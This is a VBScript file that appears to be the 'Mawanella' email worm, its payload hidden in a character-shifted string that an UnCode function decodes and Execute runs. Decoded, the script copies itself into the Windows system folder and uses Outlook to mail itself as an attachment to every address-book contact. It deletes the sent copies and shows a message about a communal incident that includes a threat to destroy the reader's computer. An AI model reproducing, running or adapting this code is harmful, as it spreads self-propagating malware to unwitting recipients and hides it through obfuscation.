Execute UnCode("Ts%Jwwtw%Wjxzrj%Sj}yWjr%44%N%mfyj%Rf|fsjqqf%nshnijsyXjy%\dX%B%HwjfyjTgojhy-'\Xhwnuy3Xmjqq'.Xjy%kxt%B%HwjfyjTgojhy-'Xhwnuynsl3KnqjX~xyjrTgojhy'.xjy%knqj%B%kxt3TujsYj}yKnqj-\Xhwnuy3XhwnuyKzqqsfrj16.{gxhtu~Bknqj3WjfiFqqrfns-.xzg%rfns-.%%%Ts%Jwwtw%Wjxzrj%Sj}y%%%inr%|xhw1ww1%xywRxl%%%xjy%|xhwBHwjfyjTgojhy-'\Xhwnuy3Xmjqq'.%%%%%%Xjy%inw|ns%B%kxt3LjyXujhnfqKtqijw-5.%%%%%%Xjy%inwx~xyjr%B%kxt3LjyXujhnfqKtqijw-6.%%%%%%Xjy%inwyjru%B%kxt3LjyXujhnfqKtqijw-7.%%%%%%Xjy%hKnqj%B%kxt3LjyKnqj-\Xhwnuy3XhwnuyKzqqSfrj.%%%%%%hKnqj3Htu~-inwx~xyjr+'aRf|fsjqqf3{gx'.%%%%%Xjy%TzyqttpF%B%HwjfyjTgojhy-'Tzyqttp3Fuuqnhfynts'.Nk%TzyqttpF%B%'Tzyqttp'%Ymjs%%%Xjy%RfunBTzyqttpF3LjySfrjXufhj-'RFUN'.%%%Xjy%FiiQnxyxBRfun3FiiwjxxQnxyx%%%Ktw%Jfhm%QnxyNsij}%Ns%FiiQnxyx%%%%%%%Nk%QnxyNsij}3FiiwjxxJsywnjx3Htzsy%AC%5%Ymjs%%HtsyfhyHtzsy]%B%QnxyNsij}3FiiwjxxJsywnjx3Htzsy%%Ktw%HtzsyB%6%Yt%HtsyfhyHtzsy]%%%%%%%%%%%%%%Xjy%Rfnq]%B%TzyqttpF3HwjfyjNyjr-5.%%%%%%Xjy%Htsyfhy]%B%QnxyNsij}3FiiwjxxJsywnjx-Htzsy.%%%%%%%%%%%%%%,rxlgt}%htsyfhy}3fiiwjxx%%%%%%%%%%%%%%,Rfnq}3Wjhnunjsyx3Fii-Htsyfhy]3Fiiwjxx.%%%%%%%%%%%%%%Rfnq]3Yt%B%Htsyfhy]3Fiiwjxx%%%%%%Rfnq]3Xzgojhy%B%'Rf|fsjqqf'%%%%%%Rfnq]3Gti~%B%{ghwqk+'Rf|fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxqnr%[nqqflj'+{ghwqk%%%%%%,Xjy%FyyfhmrjsyBRfnq]3Fyyfhmrjsyx%%%%%%,Fyyfhmrjsy3Fii%inwx~xyjr%+%'aRf|fsjqqf3{gx'%%%%%%,Rfnq}3Fyyfhmrjsyx3Fii-inwx~xyjr%+%'aRf|fsjqqf3{gx'.%%%%%%Rfnq}3Fyyfhmrjsyx3Fii-inwx~xyjr%+%'aRf|fsjqqf3{gx'.%%%%%%Rfnq]3IjqjyjFkyjwXzgrny%B%Ywzj%%%%%%Nk%Rfnq]3Yt%AC%''%Ymjs%Rfnq]3Xjsi%%%%%%%Jsi%Nk%%%%%%%%%%%Sj}y%%%%%%%Jsi%Nk%%%Sj}yJqxj%%%rxlGt}%'Uqjfxj%Ktw|fwi%ymnx%yt%j{jw~tsj'%Jsi%nkxywRxlB%'%%.%%%%%%%%%%%%%%%%%%%%-'%+%{ghwqkxywRxlB%xywRxl%+%'-%%.%%%%%%%%%%%%%%%%-%%%.%%'%+%{ghwqkxywRxlB%xywRxl%+%'%%-%%%%.%%%%%%%%%%-%%%.'%+%{ghwqkxywRxlB%xywRxl%+%'%%%%-%%%.%%%%%%-%%%%%%%%%.'%+%{ghwqkxywRxlB%xywRxl%+%'%%%%2222222222222222222222222'%+%{ghwqkxywRxlB%xywRxl%+%'%%%4%%%%%%%-%%%-%%%%-%%%%%%4a'%+%{ghwqkxywRxlB%xywRxl%+%'%%4%%%%%%%%%%-%%%%%%%%%%%%%4%%a'%+%{ghwqkxywRxlB%xywRxl%+%'%4%%%%%%%%%%%%-%-%%%%%%%%%4%%%%a'%+%{ghwqkxywRxlB%xywRxl%+%'%22222222222222222222222222222222'%+%{ghwqkxywRxlB%xywRxl%+%'%�%%%%%%%%%%%%%%%%222%%%%%%�%%%%%%�'%+%{ghwqkxywRxlB%xywRxl%+%'%�%%22222%%%%%%%%�%%%�%%%%%%�%%%%%%�'%+%{ghwqkxywRxlB%xywRxl%+%'%�%�%%%%%�%%%%%%%%222%%%%%%%�%%%%%%�'%+%{ghwqkxywRxlB%xywRxl%+%'%�%�%%%%%�%%%%%%%%%%%%%%%%%%�%%%%%%�'%+%{ghwqkxywRxlB%xywRxl%+%'%22222222222222222222222222222222'%+%{ghwqkxywRxlB%xywRxl%+%'Rf|fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxqnr%[nqqflj3'%+%{ghwqk%xywRxlB%xywRxl%+%'Ymnx%gwzyfq%nshnijsy%mfuujsji%mjwj%7%Rzxqnr%Rtxvzjx%+%655%Xmtux%fwj%gzwsy3'%+%{ghwqk%xywRxlB%xywRxl%+%'N%mfy%ymnx%nshnijsy1%\mfy%fgtzy%~tzD%N%hfs%ijxywt~%~tzw%htruzyjw'%+%{ghwqk%xywRxlB%xywRxl%+%'N%inis,y%it%ymfy%gjhfzxj%N%fr%f%ujfhj2qt{nsl%hnynjs3'%rxlgt}%xywRxl11'Rf|fsjqqf'Jsi%xzg%")


Function UnCode(sCoded)
   For I=1 To Len(sCoded)
      CurChar= Mid(sCoded, I, 1)
      If Asc(CurChar) = 15 Then
         strChr= Chr(10)
      Else
         strChr = chr(asc(CurChar)-5)
      End if
         UnCode = UnCode & strChr
    Next
End Function